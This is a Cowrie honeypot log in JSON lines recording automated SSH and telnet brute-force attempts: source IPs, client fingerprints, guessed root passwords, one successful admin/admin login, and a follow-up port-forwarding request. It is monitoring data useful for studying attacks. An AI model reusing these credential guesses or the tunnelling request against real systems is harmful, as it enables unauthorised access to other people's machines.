{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:32:20.933335Z","src_ip":"43.156.136.152","session":"4fad30feb4d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:32:21.179592Z","src_ip":"43.156.136.152","session":"4fad30feb4d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"viral123","message":"login attempt [root/viral123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:32:22.194961Z","src_ip":"43.156.136.152","session":"4fad30feb4d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:32:23.444993Z","src_ip":"43.156.136.152","session":"4fad30feb4d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":36998,"dst_ip":"10.17.0.5","dst_port":22,"session":"194f0f0ce16f","protocol":"ssh","message":"New connection: 103.176.20.57:36998 (10.17.0.5:22) [session: 194f0f0ce16f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:32:25.108423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:32:25.113225Z","src_ip":"103.176.20.57","session":"194f0f0ce16f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:32:25.356760Z","src_ip":"103.176.20.57","session":"194f0f0ce16f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty21","message":"login attempt [root/qwerty21] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:32:26.081272Z","src_ip":"103.176.20.57","session":"194f0f0ce16f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:32:27.323865Z","src_ip":"103.176.20.57","session":"194f0f0ce16f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"3.132.26.232","src_port":60152,"dst_ip":"159.203.135.109","dst_port":22,"session":"61470addc642","protocol":"ssh","message":"New connection: 3.132.26.232:60152 (159.203.135.109:22) [session: 61470addc642]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:32:34.416898Z"}
{"eventid":"cowrie.client.version","version":"","message":"Remote SSH version: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:32:34.421263Z","src_ip":"3.132.26.232","session":"61470addc642","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:32:34.424626Z","src_ip":"3.132.26.232","session":"61470addc642","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.154.37.24","src_port":47884,"dst_ip":"159.203.135.109","dst_port":23,"session":"018ae159e759","protocol":"telnet","message":"New connection: 195.154.37.24:47884 (159.203.135.109:23) [session: 018ae159e759]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:32:34.729235Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.119.63.98","src_port":17226,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f3b7328e790","protocol":"ssh","message":"New connection: 190.119.63.98:17226 (10.17.0.5:22) [session: 8f3b7328e790]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:32:34.915267Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:32:34.921365Z","src_ip":"190.119.63.98","session":"8f3b7328e790","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:32:35.056965Z","src_ip":"190.119.63.98","session":"8f3b7328e790","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"squid123","message":"login attempt [root/squid123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:32:35.683294Z","src_ip":"190.119.63.98","session":"8f3b7328e790","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:32:36.888836Z","src_ip":"190.119.63.98","session":"8f3b7328e790","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"3.132.26.232","src_port":60208,"dst_ip":"159.203.135.109","dst_port":22,"session":"5755e9d3d48a","protocol":"ssh","message":"New connection: 3.132.26.232:60208 (159.203.135.109:22) [session: 5755e9d3d48a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:32:37.609173Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:32:37.697460Z","src_ip":"3.132.26.232","session":"5755e9d3d48a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:32:38.338113Z","src_ip":"3.132.26.232","session":"5755e9d3d48a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.243.246","src_port":51582,"dst_ip":"10.17.0.5","dst_port":22,"session":"f954ff4256b4","protocol":"ssh","message":"New connection: 192.169.243.246:51582 (10.17.0.5:22) [session: f954ff4256b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:32:38.688575Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:32:38.693376Z","src_ip":"192.169.243.246","session":"f954ff4256b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":50976,"dst_ip":"159.203.135.109","dst_port":22,"session":"d55a1be5045f","protocol":"ssh","message":"New connection: 193.228.128.84:50976 (159.203.135.109:22) [session: d55a1be5045f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:32:38.754099Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:32:38.759130Z","src_ip":"193.228.128.84","session":"d55a1be5045f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:32:38.765450Z","src_ip":"192.169.243.246","session":"f954ff4256b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:32:38.861011Z","src_ip":"193.228.128.84","session":"d55a1be5045f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"austin","message":"login attempt [root/austin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:32:39.086997Z","src_ip":"192.169.243.246","session":"f954ff4256b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:32:39.167111Z","src_ip":"193.228.128.84","session":"d55a1be5045f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:32:40.161979Z","src_ip":"192.169.243.246","session":"f954ff4256b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:32:40.274614Z","src_ip":"193.228.128.84","session":"d55a1be5045f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.1","message":"Connection lost after 10.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:32:47.736716Z","src_ip":"3.132.26.232","session":"5755e9d3d48a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":15.082968473434448,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:32:49.812056Z","src_ip":"195.154.37.24","session":"018ae159e759","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":59732,"dst_ip":"159.203.135.109","dst_port":22,"session":"23ae319f43c2","protocol":"ssh","message":"New connection: 193.32.162.151:59732 (159.203.135.109:22) [session: 23ae319f43c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:32:53.182112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:32:53.186939Z","src_ip":"193.32.162.151","session":"23ae319f43c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:32:53.290699Z","src_ip":"193.32.162.151","session":"23ae319f43c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"epsuser","password":"epsuser","message":"login attempt [epsuser/epsuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:32:53.605640Z","src_ip":"193.32.162.151","session":"23ae319f43c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":2956,"dst_ip":"10.17.0.5","dst_port":22,"session":"45e8a2e07b89","protocol":"ssh","message":"New connection: 87.251.64.176:2956 (10.17.0.5:22) [session: 45e8a2e07b89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:32:54.566940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:32:54.576333Z","src_ip":"87.251.64.176","session":"45e8a2e07b89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:32:54.673316Z","src_ip":"87.251.64.176","session":"45e8a2e07b89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:32:54.711894Z","src_ip":"193.32.162.151","session":"23ae319f43c2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:32:54.964925Z","src_ip":"87.251.64.176","session":"45e8a2e07b89","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:32:55.064650Z","session":"45e8a2e07b89","protocol":"ssh"}
